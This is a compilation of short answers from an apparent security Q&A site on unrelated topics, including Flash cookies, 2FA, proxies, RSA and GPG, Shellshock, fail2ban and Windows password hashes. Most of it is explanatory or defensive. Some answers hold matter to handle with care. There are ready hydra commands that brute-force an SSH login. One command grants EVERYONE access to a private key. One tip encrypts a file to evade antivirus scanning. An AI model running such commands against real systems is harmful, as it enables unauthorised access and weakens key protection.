Is it possible to feed Firefox Flash plugin with controlled data for privacy reasons?

Is it possible to fake such information and how?

You want to fake such information in order to evade browser fingerprinting done by some websites but you have to know that the simplest fingerprinting algorithm deployed today is able to detect, follow and even guess a fingerprint's changes. Also, you have no idea about the fingerprinting algorithm you want to foil.

An other problem fired by your question is how to fake such information. Well, there is no solution that fits for all the cases. I mean depending on the information you want to fake different solutions and tools may exist or not. For example, I can mention you the Firfox User Agent Switcher which is an addon that performs what its name says.

  When I use for example Firefox, does Firefox serve these system
  information for the Flash plugin and then I can fake them with a
  Firefox addon which registers the call event of the Flash extension
  and returns wrong data? Or has the Flash plugin direct access to the
  operating system? If yes, can I build software which runs in the OS
  background and registers the Flash plugin call and then serves faked
  information?

From the way you worded these question, I feel there are important things you need to know first in order to avoid some erroneous (if I may say so) questions you made:

Can I get hardware and operating system information with Flash?

You need to look to the Capabilities class and see what information it can get from your operating system and hardware. For instance, the cpuArchitecture property  specifies the current CPU architecture. The cpuArchitecture property can return the following strings: "PowerPC", "x86", "SPARC", and "ARM". The server string is ARCH. while the os property specifies the current operating system.

Note:
This paragraph does respond to the question whether such data may be sent using a Flash web application over Internet or not. That will be discussed later on.

What is a Flash web application?

A Flash web application is any SWF/FLV content that can vary from  a video you want to view on your browser to a full fledged and complex  application where Flash plays a very important role such as in sharedtalk.com
What are local shared objects?

The problem with running Flash web application (apart from the Flash vulnerabilities that you are not addressing here) resides in what we call local shared objects (LSOs) better known as Flash cookies. Flash cookies are relatively unknown (Schneier on Security: Flash Cookies).

While an HTTP stores only around 4KB of data, a Flash cookie contains up to 100KB data (ActionScript3.0 Cookbook). You can even enhance the storage capacity of a Flash cookie at your will. A Flash cookie is not stored in a file within the browser space but in a separate Adobe file with a .sol file extension: this means the browser has no control over Flash cookies and when you clear your browser's cookies, Flash cookies are still there on your computer (but there are tools to delete them).
Which content may be stored within a Flash cookie?

For HTTP cookies where contents are determined by the specific website that created that cookie. Contents vary from site to site. This applies for Flash cookies.

The Flash cookie is used generally to save user's settings (for example when you watch a video on Youtube and change the dimensions of the video screen: the dimensions are stored in the Flash cookie).
What are the main privacy issues inherent to LSOs?

Flash cookies contain the information that may be hold in an HTTP cookie and much more except the field related to expiration date: Flash cookies do not have an expiration date by default as it is the case with HTTP cookies (where the common practice of companies' websites set it usually set to 30 days); and one of the reasons for this is because when companies tracking users noticed that lot of users clear their cookies at least once per month lead  to overestimate  the number of true unique visitors to websites, and thus to the overpayment for advertising companies  (The  Impact of Cookie Deletion on the Accuracy of Site- Server and Ad-Server Metric s: An Empirical Comscore  Study).

But what is worse, is that a Flash cookie may recreate HTTP cookies you previously deleted (respawning cookie, persistent identification element)

Note that the less aggressibe LSO contains the globally unique identifier that identifies your computer for the web application that tracks you.
What is Flash hardware acceleration and why to mention it?

Hardware acceleration is  when you have hardware designed to accelerate a specific function. So, for example, when you decode or encode video you do it on the CPU. Some video cards allow you to do this on their GPU instead, so you now have "hardware accelerated video decoding". (What does “hardware acceleration” refer to?). Flash hardware acceleration is a hardware acceleration for Flash (Performance or display issues with certain Flash videos). In most browsers this feature is disabled by default, but activating it to better visualize a given web Flash application exposes you to reveal more information about your hardware.  But why to mention this? Because such information is stored in LSOs.
So may my OS and hardware information be leaked out?

I prefer to quote you this directly from the official documentation (Flash player help)

  Note that it is the person or company that has created
  the application you are using that is requesting such access, not
  Adobe (unless Adobe has created the application that wants to save the
  information). It is the responsibility of the person or company
  requesting access to make it clear to you why they want access and how
  they plan to use the information they save. You should be aware of the
  privacy policy of anyone who is requesting access to your computer.
  For example, see the Adobe privacy policy. Contact the website
  requesting access for information on their privacy policy.

Also, one important thing to read from that documentation:

  (Flash Player 8 and later) If you have downloaded SWF or FLV content
  to your computer, a dialog box might appear alerting you that the
  content is trying to communicate with the Internet. Flash Player 8 and
  later versions do not allow the local SWF or FLV content to
  communicate with the Internet, by default.

And since it is possible to retrieve both OS and hardware information using the Capibilities class described in the first point, and a Flash web application may require, under your permission as you can read from the same last link, more than 100KB, and if the web application is nefarious the definite answer to your question is that it is likely, I mean possible, to happen especially with a misinformed user about security issues.

Given these information, you may achieve what you asked (surely no one will tell you how) after digging deeper. But remember: if you want to do that in the purpose of evading brwoser fingerprinting then better forget the idea and use traditional methods.


AutoRecon is taking too long to complete

Yes, I've noticed that it often takes a long time, sometimes just some tools get stuck.
This happens, for example, if the application responds with a redirect to every gobuster request or if it responds to every nikto test. In both cases the scan duration increases dramatically.
You can stop the scan and check in the results/[target]/scans folder which task has not been completed or check the errors file results/[target]/scans/_errors.log to see if something went wrong


Should the email server/application be protected by 2 factor authentication? What applications should be protected?

I don't think there is a simple answer for this: your security demands may vary.  If you fear keyloggers stealing your passwords, giving adversaries access to confidential email, then by all means use 2-factor authorization (among other techniques).  However, if you only anticipate receiving relatively mundane emails then there isn't a need for it, and enabling it could be an extra burden -- e.g., if you lose your cell phone on vacation you can't log in to any of your systems.

Additionally, using 2-factor auth may encourage bad habits; e.g., you may think my phone is always on me; so I can use a simple easily guessable password.  Then on systems that have been authenticated once, it may be straightforward for someone to guess your password.

In summary; 2-factor auth provides extra security when:

users frequently authenticate from a variety of untrusted client computers that may be running keyloggers
users don't mind the burden of needing to be able to receive text message/phone call to authenticate
users don't always cache the first authentication (only cache on trusted computers; and  still require the user to enter password)
users are still required to have strong passwords in the second authentication
web authentication still use https (or equivalent; e.g., ssh login) (prevent MITM attacks with spoofed servers; keep your password secret in case a valid token is later found).

As an aside, email by itself is not a good method for sending confidential data -- the email as its routed is sent in plaintext for any intermediate mail server/router/transport agent to read.  You really should encrypt/sign sensitive emails using PGP (or similar) to protect the contents of emails from being read or secretly altered.


Does use of OpenID Connect for login imply Google can impersonate my users?

The verification is not directly performed by you, so in principle yes, Google could fake the identity of any of its users upon authentication.

What happens during the authentication is that your service contact Google OpenID provider and asks: "who is this user?". Google answer will be along the lines of "this user is foo.bar@gmail.com and I have verified it". It's a matter of trust. You have to trust the authentication provider to perform that verification.


What organisation(s) is able to recommend a baseline technology set for safe, secure, web browsing?

In terms of your question, I don't think there is any one organisation. OWASP gives good detail on the ten obvious things you should get right, but that should be a bare minimum - because there are so many aspects of security, and different browsers, OS'es, plugins, ways to access the Internet etc I'd be surprised if any single organisation could do it.

I think that while this is a very interesting area in user interface design the end user won't care, so I don't think it will help security. If you give a red-bad, green-good to a typical, non-technical user, they will not think any further. If you provide a different green-good the majority are still going to see it as good, not as a different kind of good.


Does using an http proxy completely hide my real IP address?

Just because your traffic is passing though a proxy it doesn't mean you are safe.  "Transparent" proxies will transmit your IP address using the X-Forwarded-For HTTP header.  There are also cookies that can be used to identify you,  such as flash's evercookie.   You can even be fingerprinted and tracked by the extensions you have installed and what versions you are running using The EFF's panopticlick.

Using Tor in Firefox from an open wireless access point works well.  Ironically, the fingerprints gathered by EFF's panopticlick is used to make the Firefox's anonymous mode more difficult to track.  This is because Mozilla and the EFF are working together on this project.


I solved the problem.  I installed the WinHttpCertCfg tool and granted access to the private key.  The command that worked for me is:

WinHttpCertCfg.exe -g -c LOCAL_MACHINE\MY -s "" -a EVERYONE


How to encrypt and sign a message with RSA?

Yes, you should first sign your message (With your private key) and then encrypt it with Bob's public key. In this way only he can decrypt the message with his private key and then verify the signature with your public key to actually know that the message was from you.

About the computing power. GPG encryption, which is the most extended system to encrypt and sign messages using public key encryption, actually uses symmetric encryption (f.e. AES) for messages. In this sense, what it really does is generating a random key for symmetric encryption, encrypt the message with that key and then encrypts that key with the receiver's public key. For signing, GPG calculates a hash of the message (f.e. SHA256) and encrypts that result with the senders private key.

This turns out to be way more performant for large messages, as symmetric encryption and hash calculations are pretty fast and, in some cases like AES, are optimized to be performed in hardware rather than software. Furthermore this mechanism allows a message to be delivered to multiple parties, for this, the symmetric key must be encrypted once for each receiver but the message and the signature stays the same


What's the difference between "access aggregation" and "authorization creep"?

Not sure if this is correct specifically for CISSP, but where I work the terms mean the following:

Access Aggregation
Users gaining more access across more systems, this might be intentional as a result of something like the implementation of single sign on capabilities or unintentional where they are granted new access rights without considering the rights they already have.

Authorisation Creep
This is where theres a bit of overlap with access aggregation, its when users are given new, or more expansive, rights without having their old rights revoked.


Effectiveness of flattening a PDF to remove malware

I think using gs should remove all active content (Javascript) and embedded data (Videos, Flash...). But I'm not sure if using pdfwrite directly on the PDF will really remove all active and embedded content. Thus I suggest that you first convert the PDF to Postscript using gs and then convert the Postscript back to PDF using gs with the pdfwrite backend. Since the Postscript format itself does not support active or embedded content such content should not survive the conversion process. I'm not sure if this will also help against image formats, like exploiting vulnerabilities in libjpeg, libpng or similar. In any case the call to gs itself should be done inside some kind of protected environment (i.e. sandbox or similar) so that such vulnerabilities do not affect the security of the security system itself.

Another option would be to convert the PDF to images and maybe create a new PDF with these images then. This way you could protect against exploiting vulnerabilities in image libraries too, but at the cost of loosing the ability to work with the PDF as text (i.e. search, copy...). If you want the additional protection but need the ability to handle the PDF as text you could run some OCR software afterwards to reconstruct the text from the images.


How to hide folders inside webroot from being identified?

This is probably going to be dependent on what server you're running and on which OS but this is one example of how to handle it.

You can capture the error response and send them to another page instead of returning error codes.

If I were implementing this I would send all errors to your index page. That way the attacker doesn't know if something's restricted, not there, broken etc. This also makes bruteforce scanning with dirb dirbuster and wfuzz a pain as they leverage response codes to identify pages. So if you always return a 200 status code then you effectively break using those tools.

  Custom error documents are configured using the ErrorDocument
  directive, which may be used in global, virtualhost, or directory
  context. It may be used in .htaccess files if AllowOverride is set to
  FileInfo.

- ErrorDocument 500 "Sorry, our script crashed. Oh dear"
- ErrorDocument 500 /cgi-bin/crash-recover
- ErrorDocument 500 http://error.example.com/server_error.html
- ErrorDocument 404 /errors/not_found.html
- ErrorDocument 401 /subscription/how_to_subscribe.html

  The syntax of the ErrorDocument directive is: ErrorDocument
  <3-digit-code>  where the action will be treated as: A local URL to redirect to (if
  the action begins with a "/").

  An external URL to redirect to (if the
  action is a valid URL). Text to be displayed (if none of the above).
  The text must be wrapped in quotes (") if it consists of more than one
  word.

  When redirecting to a local URL, additional environment variables are
  set so that the response can be further customized. They are not sent
  to external URLs.

For more information check out the documentation

https://httpd.apache.org/docs/2.4/custom-error.html

This is not a fix all for web bruteforcing. I wrote a script not long ago that leverages content length instead of status code. You can see how it works on GitHub

To defeat content length scanners I'd probably just include a hidden random string with a variable length in my index or error page.


When you boot off a USB disk, and use only files from the USB disk, then you are safe from interference from any other operating system which may reside on the machine hard disk.

However, if the machine hardware is hostile, then you won't be protected. Hardware key loggers work regardless of the booted operating system. Malicious BIOS code may also make nasty things; BIOS code is executed before your OS is loaded from the USB drive, so there is nothing your OS may do to really defend itself against an evil BIOS.

And let's not forget the classic "thinking out of the box" methods, e.g. someone 100m away with a telescope, zooming on your screen and reading everything that you read yourself (for a trickier but funnier method, the telescope zooms on your glasses and observes the reflection of the screen). Or reconstructing what you type on the keyboard, using a mere sound recorder under the table (in any keyboard, each key makes a slightly distinctive sound, sufficiently distinct to allow for ulterior reconstruction of what you type). If you are serious about security, then environment matters.


Use RSA key to encrypt/decrypt personal document

It depends on your use case.

From cryptanalysis point of view, symmetric is theoretically better as long as you have a really strong passphrase, because:

GPG encryption with RSA just encrypts the symmetric key which encrypts the actual file. So, there are two potential weak points instead of just one.
RSA and many asymmetric ciphers can be theoretically cracked by a quantum of computer with enough of memory. I am not aware of any quantum computer that can really do that today.

But most likely, those two threats are rather theoretical today. Unless the document needs to be kept secret for a very long time, I would not care too much about them.

From availability point of view, do you have a backup of your private key? If not, your backup with RSA might be useless. Imagine the storage (HDD/SSD) in your computer is gone. If you lose your private key, any backup encrypted by this private key is useless then. On the other hand, if you have your private key backed up, how secure is the backup of your private key.

From authenticity point of view: If you just encrypt your file by your public key, an attacker that can modify your storage can create a completely new document and encrypt it with your public key (unless you keep your public key private, which does not make much sense). That implies the file is not protected from modification this way. You would also need to sign it and then to verify the signature. I believe symmetric option handles this fully.

Note that secure passphrase matters a lot. An attacker can try to brute-force it offline and nothing but their budget and time restricts the number of attempts. This is not a PIN handled by a TPM or an online service that rescricts the number of attempts.


How is tunnelling SSH through Proxytunnel/HTTPS different from doing it through SSL with Stunnel?

TL;DR - I think your problem is not related to SSL at all, but you are trying to use a proxy server without the proxy headers.

  So, if I use stunnel to create an SSL tunnel, and then pass HTTP traffic through it, would it be the same as using HTTPS normally?

Yes. We use http over stunnel at work to talk to an https-server. That's a workaround for a bug in the Java https client that is not able to talk to an ISS https-server in some situations.

  Then, if a proxy/firewall sees only an SSL/TLS connection with encrypted traffic, how could it know the traffic isn't HTTP?

A normal proxy/firewall is not able to tell what is inside.

There are decrypting https-proxies. In order for them to work, they need to trick the client into accepting their own public key instead of the public key of the real server. In https the public key is part of a certificate which contains information about the server name. The certificates are usually signed by CAs, which the browsers know as trustworthy.

The proxy server needs to fake the server certificate in order to get the client to use his own public key. A normal client will display a warning about the invalid certificate. But the proxy can sign the faked certificates with its own CA. And the administrator can install the CA as trusted on the clients.

  In theory, I think that if the proxy/firewall can't notice the difference, one should be able to tunnel SSH traffic through an SSL/TLS connection (created with stunnel) instead of HTTP.

The common way to tunnel SSH out even works without the SSL layer on non decrypting https-proxies.

  However, in practice, I have seen this not work - the proxy/firewall appears able to detect that it is not HTTPS traffic.

Either you are doing something wrong, or your are behind a decrypting https as explained above.

  I think this is why Proxytunnel is used, but I don't understand what Proxytunnel does differently to avoid detection.  Does it just create fake HTTP headers?

You have to distinguish between a firewall and a proxy here: If there is just a network firewall you can connect to the target ip-address on port 443 normally. But if there is a proxy, you need to connect to the ip-address and port of the proxy and then tell it to connect to the target using the http protocol. The command is: CONNECT target:port HTTP/1.1 <cr><lf>

In most cases https-proxy-servers allow connecting to any ip-address but only to port 443. After sending the connect-string, you get a http response header. On a normal https proxy any further information, is forwarded as is into any direction. So you can speak any protocol you want. Using ssh natively from here on works.

In theory a firewall or dumb proxy may prevent this native tunneling by detecting non SSL-traffic. But this is very uncommon. Only a https decrypting proxy will be able prevent this kind of tunnel effectively.


Cookies with a MUST of "httponly" and "secure" attributes are the only secure way forward. This is because in a scenario of a XSS (Cross Site Scripting) attack LocalStorage or the DOM data can be easily read by the attacker.

If you define a cookie with httponly tag Javascript can't access that value, preventing XSS attacks.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies


No, you shouldn't encrypt the password on the client if the transmission of data is secured.

If you got it all perfect, you're not likely to add any security to the process.

If you don't get it perfect, you might be introducing a new vulnerability (buffer overflow, oracle attack, etc).

If the TLS version you're using somehow gets compromised, then you have MUCH bigger problem that leaking password in transit.

You shouldn't hash the password either (for the same reasons as above).

Note that there is a special case: you might want you login process to go through a challenge-response system, even if you're using TLS, in order to require a proof of work from the caller. For some specialized services, that might help in alleviate DOS attacks trying to overload the authentication component (although there is a debate whether the effectiveness of that measure in the field and whether it's worth the effort compared to other DOS counter-measures).


Secure alerting for a monitored web application

Nagios has a feature that detects what is called "flapping" which you could implement yourself. Basically it will start sending you text messages, but will stop if it passes a certain tresshold within a given timeframe for a similar type of warning message. It's up to you to decide the thressholds and the intervals and the classification of the events.

Text messaging and email is a good idea for monitoring. But make sure to also log a ticket for each incident and ensure that for every closed ticket a detailed resolution or response is given (just email doesn't provide enough traceability).

You can also use logstash and kibana or if you are a bit richer Splunk to perform automated data agregation and dashboarding to make the process less painful when checking the logs.


How to determine if a scanner finding a virus in my email is a false positive?

I will recommend you to find another way to send the file to your friend, or you can try to encrypt the file with pgp and send the file to him, in this way probably you will by pass the AV validation, but bear in mind that the validation of the MTAs can vary from one system to another due to have different policy rules on them, and the encrypted file could be label as suspicious also.

Also you need to take into account that probably your exe file contains elements/patterns that on some AVs generates the false positive. Probably contact with the vendors and submit a false positive to them


Are python's popen (and similar) functions affected by Shellshock?

Any program that, at some point, calls bash is affected. In particular the os.system function is vulnerable if the system has bash as /bin/sh, so any program calling it (or some equivalent) is vulnerable too.

The popen functions can be vulnerable, depending on the arguments passed. Quoting from the documentation:

  Also, for each of these variants, on Unix, cmd may be a sequence, in
  which case arguments will be passed directly to the program without
  shell intervention (as with os.spawnv()). If cmd is a string it will
  be passed to the shell (as with os.system()).

to my understanding this means that calls like:

os.popenx(['executable', 'some', 'arguments'])

are safe because no shell is invoked, while commands of the form:

os.popenx('executable some argument')

are vulnerable because a shell will be used to interpret the string as a command line.

Also note that all popen functions are deprecated since python2.6 and should have been avoided since then. The subprocess module provides a much better interface to launching subprocesses which is shellshock safe by default. If you don't pass the shell=True argument your program wont launch subshells and hence wont be affected by shellshock.

To safely use subprocess you should avoid using the shell=True argument as much as you can (this was true even before the discovery of shellshock and is already well documented as a security hazard anyway).

In particular, if you want to simply launch an executable use subprocess.call:

subprocess.call(['executable name', 'arg1', '--opt1', 'opt-arg', ...])

if you don't want to write the list of strings by hand you can rely on the shlex module:

subprocess.call(shlex.split('executable-name arg1 "quoted arguments are correctly handled" etc'))

If you want to retrieve the output of the command use check_output instead of call.

If you want to run a pipeline of commands like cmd1 | cmd2 | cmd3 you can still avoid launching a shell:

cmd1 = subprocess.Popen(cmd1_command_line, stdout=subprocess.PIPE)
cmd2 = subprocess.Popen(cmd2_command_line, stdin=cmd1.stdout, stdout=subprocess.PIPE)
cmd3 = subprocess.Popen(cmd3_command_line, stdin=cmd2.stdout, stdout=subprocess.PIPE)

Use shell=True only if strictly necessary, and in such a case consider explicitly passing the environment to the shell using the env argument.


TLS 1.2 Handshake: Does the server have to take all extensions sent by the Client?

Yes, each extension defines what it means.

A server that has never heard about this extension (e.g. the server is old and the extension is new) just disregards it, and the client must be ready to deal with that (at worst, by breaking the connection after ServerHello, but usually by falling back to the behavior before the extension was defined).

The extension spec should say what the server should do if it sees it and doesn't want to support it and what it should do if it does want to support it.

For example, a client might decide to drop the connection if the server didn't use SNI to choose the cert (and indicated that by server_name extension in ServerHello), or a client might decide that OCSP stapling is required, or certificate transparency SCTs are required, or a client might decide to drop a connection if a CBC cipher suite was chosen and no agreement to do encrypt_then_mac was indicated by encrypt_then_mac in ServerHello. Or a server might drop connections from clients that don't send server_name.


Should each service running on a domain have a separate certificate?

"Complexity is the enemy of security"

I would always look to use the least amount of certs possible for a number of reasons, mostly due to the ease of administration. It's my understanding that letsencrypt is not currently allowing wild card certificates (these certificates essentially allow you to secure all subdomains of a domain where the traditional certificates only allow a specific URL (ie secure.domain.com).

Now with that said wild card certs come at a premium and they can be quite expensive, especially if you're using them simply for personal use. In that case you may find that you'll need to key multiple certificates and expose them via non-standard ports as you've described, however in a professional setting I'd go with wild card certs simply because of the ease of administration. The easier the administration the less likely you are to miss something / screw up a configuration which reduces your attack vector imo.


Is a properly configured server secure against unauthorized data access?

Assuming security is properly set up on a server (proper access control, secured API's that properly checks requests before processing them, consistent use of the random strings), can I be confident that the only way an outsider would be able to access this resource is through legitimate means, such as playing the game?

No.

Is a properly built (and secured) house/building secure against unauthorized access? No!

There are no absolutes.


How can I report a security flaw - such as using plaintext passwords - and get a positive outcome?

I would politely email them informing them that you have discovered a security vulnerability (i know you've done this already) and then show them evidence (you capturing your friends information through wireshark, for example. With informed consent on your friends part) and a polite explanation of how trivial it would be to capture information from hundreds of students in the course of a day, without even having to sit at the computer.

I, personally, would also volunteer to that you would be happy to show them what the vulnerability was, and let them know that you plan to present their solution school newspaper (newsletter whatever) so that they can show how they are always improving and even catch mistakes made by other groups (like their web dev people)

So, honestly the biggest thing is usually to give them a deadline and to let them know that this will be published and when you plan to. This gives them a deliciously evil choice....fix it and look good for fixing what was a bad problem, OR not fix it and look like they don't know what they're doing for not checking things that they should be aware of. It becomes their problem of how they are going to look, not YOUR problem

EDIT: I read your email transcript. My last paragraph holds true. The best usual thing to do on these is tell them that you intend to publish to whoever that you have found a vulnerability. Dont be overly annoying (YOU HAVE THREE DAYS OR I GO PUBLIC) give them a decent amount of time a couple weeks to a month for them to fix this.

At the same time, they could probably find or even make a replacement for this within a few hours if they're good or a day or two if they had to build it from the ground up. Use your best judgement.


Brute-force an SSH-login that has only a 4-letter password

hydra can generate the passwords for you. No need to generate them separately if you will be using brute force:

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-V means verbose, -x 4:4:aA1 means min is 4 letters, max is 4 letters. List of letters is a-z denoted by a, A-Z denoted by A, 0-9 denoted by 1. You can add other characters like %_-+/

You need to wrap apostrophes around the -x option if you add special characters like space, ^,&,* or ":

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()=`~?><;:%^&*_-+/,.\ ' localhost ssh


Some bot keeps posting this to my server

One possible way to prevent uploads and attacks as you have described and many more is to install apache mod_security with OWASP ModSecurity CRS rules.

They can also be applied to ngnix, and it will most likely protect you from:

SQL Injection (SQLi)
Cross Site Scripting (XSS)
Local File Inclusion
(LFI)
Remote File Inclusion (RFI)
Remote Code Execution (RCE)
PHP
Code Injection
HTTP Protocol Violations
Shellshock Session Fixation
Scanner Detection
Metadata/Error Leakages
Project Honey Pot Blacklist
GeoIP Country Blocking

If you servers are not running on apache, you can however have it server as reverse proxy, and protect your web-application.

Once you have mod_security enabled and configured, you can go further and install and configure fail2ban to ban IP's trying to hack you like this:

Install fail2ban as per your system (yum install or apt install fail2ban...)
Create /etc/fail2ban/filter.d/modsec.conf
Put the following to that file:

# Fail2Ban configuration file
#
# Author: Florian Roth

[Definition]
failregex = \[.*?\]\s[\w-]*\s<HOST>\s
ignoreregex =

Then put this in /etc/fail2ban/jail.conf

 #
 # HTTP servers
 #

 [modsec]
 enabled  = true
 filter   = modsec
 action   = iptables-multiport[name=ModSec, port="http,https"]
 sendmail-buffered[name=ModSec, lines=5, dest=hostmaster@rietta.com]
 logpath  = /var/log/apache2/modsec_audit.log
 bantime  = 172800
 maxretry = 3

 [apache]
 enabled  = true
 port        = http,https
 filter   = apache-auth
 logpath  = /var/log/apache*/*error.log
 maxretry = 6

Then make sure that your fail2ban and apache are restarted.

Another way is to purchase some pre-configured device like sophos UTM with web application firewall, it's a good way if you are owning datacenter with servers, because UTM will off-load your web servers from that task (FYI, it's actually running mod security also, plus some additional features like package inspection, antivirus...)


Can a Windows 10 Local Account password be retrieved

By default, Windows hashes all passwords with what Microsoft calls NThash (sometimes called NTLM hash), which is just MD4 of the UTF-16-LE (little-endian) representation of the password.

Technically, MD4 is a one-way hash, so no, it is not possible to retrieve the password from this. However, the way it's used is very weak, so it's usually possible in practice to reverse the hash.

Rainbow tables: The passwords are not salted before hashing, so a given password will always product the same NThash on any system. This means they can be pre-computed in giant lookup tables (sorted by hash digest to enable binary search) called "Rainbow Tables". There are many rainbow tables on the web, or you can build your own if you've got a bunch of time to kill. While a rainbow table can never store every possible hash value - MD4 digests are 128 bits long, which means 2^128 possible values, which is quite beyond the capacity of all data storage currently in existence or likely to exist - they can certainly store billions of likely passwords and that makes all but the longest/most obscure passwords crackable in practice.
Hash brute-forcing programs: Hash algorithms like MD4 are designed to run quickly, and MD4 in particular is nearly 30 years old so you can get tens of thousands of times as much computing power for the same amount of money as you could back then. That means it is possible to compute hashes extremely quickly, especially if you have a processor that is capable of quickly executing the same instructions (the steps of MD4) on multiple data (candidate passwords) in parallel, and collecting the results into one organized output. This (single-instruction-multiple-data or SIMD operation) turns out to be how GPUs work. A single high-end GPU can compute billions of hashes per second, and there are programs that you can run which will use your GPU to try to brute-force a password hash. Even without a rainbow table, you can brute-force most passwords very quickly if you have a good graphics card.

Windows can also be configured in two non-default ways, which would make this task even easier:

The legacy "LM" or "LANMAN" / "LAN Manager" hashing algorithm makes MD4 look modern and secure. LM hashes can only be used on passwords up to 14 characters in length, and only because the actual operation is performed on pairs of 7-character chunks with the results concatenated. It also only supports a limited set of input characters (notably, it upper-cases the password before hashing). As a result, you can brute-force each half of an LM hash separately and extremely quickly; your typical CPU can brute-force any LM hash in under a minute. LM hashes are disabled by default on all recent versions of Windows (and not used even on older versions like XP if you used a password at least 15 characters long) so you're extremely unlikely to find one on Win10, but I think it's still possible to enable them.
Windows supports the ability to store passwords under reversible encryption, rather than hashing. This allows any Administrator user to retrieve any user's password, because apparently some of MSFT's customers wanted this ability really badly. It's a terrible idea and should never be enabled, because in addition to letting admins see user passwords, it lets anybody who can access the hard disk and knows how to retrieve the machine key and the encrypted passwords also see the user passwords (and there are tools for this). It's very unlikely that the passwords on any given Windows machine are stored this way, but if they are, then it is in fact possible to directly retrieve them if you have admin-level access to the system or physical access to its system volume.

EDIT: As HackneyB points out in the comments, Microsoft couldn't pass up an opportunity to add some useless obfuscation on top of their antiquated password hash, so they wrap it in multiple layers of futile encryption (futile because the keys are either stored in plain text or derivable from plain text values, so it doesn't matter in the least which ciphers or how many layers are used). Stripping away the obfuscation, though, the only actual cryptographic protection against reversing the passwords is that single-round unsalted MD4 hash.


What kind of local information are desktop applications capable to retrieve (and use) from my computer?

Any application inherits the permissions of the user who runs it or gets the permissions assigned to it. So, if you install it as a user who has access to your files or the logs, then it has that access.

That's why you need to segregate your data and permissions. Windows system logs are usually only readable by a user with admin rights. And this is why granting a user local admin rights is such a bad idea.


is there a way to indirectly uncharge rapidly a coin cell to defeat an anti tampering mechanism?

In order to rapidly discharge a battery the energy has to go somewhere. You would have to either physically contact the coin cell and cause a drain, or somehow cause the electronics to do it for you. Whether the electronics would have the capability to cause that drain is another question. Most devices are designed to conserve the power of their backup batteries so my guess would be a no.


What is the purpose of AudienceRestriction in SAML 2.0?

SAML 2.0 AudienceRestriction is pretty much what you have gathered. It is a validity condition for an assertion. In particular it declares that the assertion's semantics are only valid for the relying party named by URI in that element.

The purpose is to restrict the conditions under which the assertion is valid, and to optionally provide terms and conditions relating to such validity. So the semantics of the element have to do with the scope and conditions of the trust relationships. From SAML 2.0 Core, Section 2.5.1.4(PDF):

  Although a SAML relying party that is outside the audiences specified
  is capable of drawing conclusions from an assertion, the SAML
  asserting party explicitly makes no representation as to accuracy or
  trustworthiness to such a party...

  ...the <AudienceRestriction> element allows theSAML asserting party to
  state explicitly that no warranty is provided to such a party in a
  machine- andhuman-readable form. While there can be no guarantee that
  a court would uphold such a warrantyexclusion in every circumstance,
  the probability of upholding the warranty exclusion is
  considerably improved...

I.e., it's not a code thing but a human (risk management/warranty/trust) thing. If it's used incorrectly modules tend to throw errors - most SP's expect themselves to be listed in the AudienceRestriction.


What encryption schemes require two or 3 private keys to read a message?

There's Shamir's secret sharing, but it doesn't involve PKI.  Rather, it's more like ensuring that all passwords need to be involved in order to unlock the secret.  The secret, in this case, could be a singular (private or symmetric) key.

I don't know of any widely accepted implementation of the scheme aside from the top few hits you get from Google.


The claim can be substantiated by checking the successful exploit rates against (e.g.) Secunia databases, or by checking the latest, say, 100 security advisories from Microsoft TechNet (the management loves Microsoft sources :-) ) or e.g. US-CERT.

Every time there's an exploit for something that was known at the time the exploit took place, that's a vulnerability that patching would have avoided.

A very effective display can be done by installing Secunia Personal on any given computer.

You will almost certainly (I'm not kidding you!) find several vulnerabilities:

that can be exploited by a crafted email. That is: every mail they receive could potentially contain the exploit.
that can be exploited remotely. That is: connect that laptop to the hotel's WiFi, and more often than not the occupant of any nearby room (in case of workshops abroad, very often a colleague or competitor) can pwn your laptop. Maybe they won't. But they could.
that can be exploited remotely on a server. That is: your web site might already be yours no longer. If it has a private area, and maybe sensitive document for the sales force... "How would you like it if some cracker were to leak this information to the highest bidder?".

Just explain to them in layman's terms what exactly a vulnerability that can allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system could mean for their business.


How to keep website passwords safe among employees?

You cannot enforce forgetfulness; if an employee could, at some point, learn a password, and indeed typed it in the course of his job, then he may still remember it even when no longer an employee, and you cannot force him to "forget".

Therefore, the only way to "destroy" a password access is to invalidate that specific password. The "good" way is to make it so that each employee has his own administrative password. On the day the employee leaves, invalidate this password on all sites where it is active. If the employee leaves under some distrustful conditions, invalidate his password five minutes before you tell him that he is fired.

If you must share passwords because of some technical limitation (e.g. some site software which recognizes only a single "admin password"), then the only way to invalidate the password is to change it, and give the new password to all remaining employees.

Since each employee may end up with a lot of passwords to remember, they will need some kind of storage system. I have seen people use this product and be happy with it, but I don't believe this is the only one of its kind.


Does any Wifi technology permit safe & secure sharing of an Internet connection?

As Falco already commented the solution for isolation of the hosts lies in the routing of your network: Drop all connections to other hosts in your guest and private subnet. The only attack vector which is not addressed in this setup is DOS on the physical layer but you can't do anything preventive about this except by limiting the range of the signal.


If a computer is connected to a proxy, will all outgoing traffic go through that proxy?

If your computer is connected to a local proxy this does not mean that all traffic is passing through this proxy. Only the applications which are aware of the proxy will use it. All other application will not use the proxy which means that they either have no connectivity at all (if the proxy is the only connectivity) or that they bypass the proxy and connect directly to the target.

Applications which are aware of the system wide proxy setting you have configured are usually the browsers (although Firefox and Chrome can have separate configurations too) but usually not some PHP programs you execute on the system.


querying user supplied URL, what are some best practices?

Things that immediately come to mind for protecting other sites -

Verify users - at a minimum by email verification.
Per Domain Rate limiting. Both per user and global limits.
Per user usage limits. You can also spin this into a monetiser - heavier usage for a fee
Check Robots.txt on the remote domain and if it asks you not to run that particular request either don't do it or ask the user to confirm they have permission from the domain owner.
Make it clear in your ToS you will pass on user details to sites where abuse has occurred and withdraw services to the user.
Maybe offer an opt out for domain owners so that their site can't be scanned. If you do this make sure to verify they do own the domain first.

You also need to protect yourself. Remember all content pulled in from a URL could be user supplied (they may own the domain) and as such could be an attempt to exploit your own application.


How to check whether my USB flash drive was infected by the BadUSB

Watching udevadm may give you false negatives, as the malicious payload may be triggered by a specific event or after a timeout, and it would not need to act as another USB device to inject malicious payloads in files.

One thing you may do is ensure that no storage area is reserved for malicious purposes: create a non-compressible random file in the hard drive the size of the USB drive, copy it to the usb stick and then verify it.


Is XSS possible when < is not escaped, but also removed if followed by a character?

No, in a HTML context you cannot inject new tags without allowing letters after the opening bracket. Still, this filtering technique is unnecessarily risky.

